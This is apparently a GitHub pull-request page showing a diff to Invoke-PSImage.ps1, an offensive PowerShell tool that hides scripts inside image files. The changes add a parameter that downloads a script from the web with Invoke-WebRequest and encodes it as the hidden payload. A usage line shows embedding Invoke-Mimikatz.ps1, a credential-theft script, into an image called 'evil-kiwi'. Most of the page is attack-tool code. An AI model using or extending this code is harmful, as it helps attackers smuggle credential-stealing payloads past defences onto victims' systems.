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Added ability to download script from web #6

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Added ability to download script from web #6

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346fe8c
Added ability to download script from web
dxflatline Dec 19, 2017
9de7ef7
Added a question mark (as of issues)
dxflatline Dec 19, 2017
892a542
Content instead of RawContent from WebScript
dxflatline Dec 19, 2017
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20 changes: 15 additions & 5 deletions Invoke-PSImage.ps1
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Original file line number Diff line number Diff line change
Expand Up @@ -41,15 +41,19 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
#>

[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[Parameter(Position = 0, Mandatory = $False)]
[String]
$Script,

[Parameter(Position = 1, Mandatory = $False)]
[String]
$Webscript,

[Parameter(Position = 1, Mandatory = $True)]
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Image,

[Parameter(Position = 2, Mandatory = $True)]
[Parameter(Position = 3, Mandatory = $True)]
[String]
$Out,

Expand All @@ -63,7 +67,7 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

# Normalize paths beacuse powershell is sometimes bad with them.
if (-Not [System.IO.Path]::IsPathRooted($Script)){
if ( $Script -And (-Not [System.IO.Path]::IsPathRooted($Script)) ) {
$Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Image)){
Expand All @@ -74,7 +78,13 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
}

# Read in the script
$ScriptBlockString = [IO.File]::ReadAllText($Script)
if ( $WebScript ) {
$R=Invoke-WebRequest $WebScript
$ScriptBlockString=$R.Content+";"
}
else {
$ScriptBlockString = [IO.File]::ReadAllText($Script)
}
$input = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($input)

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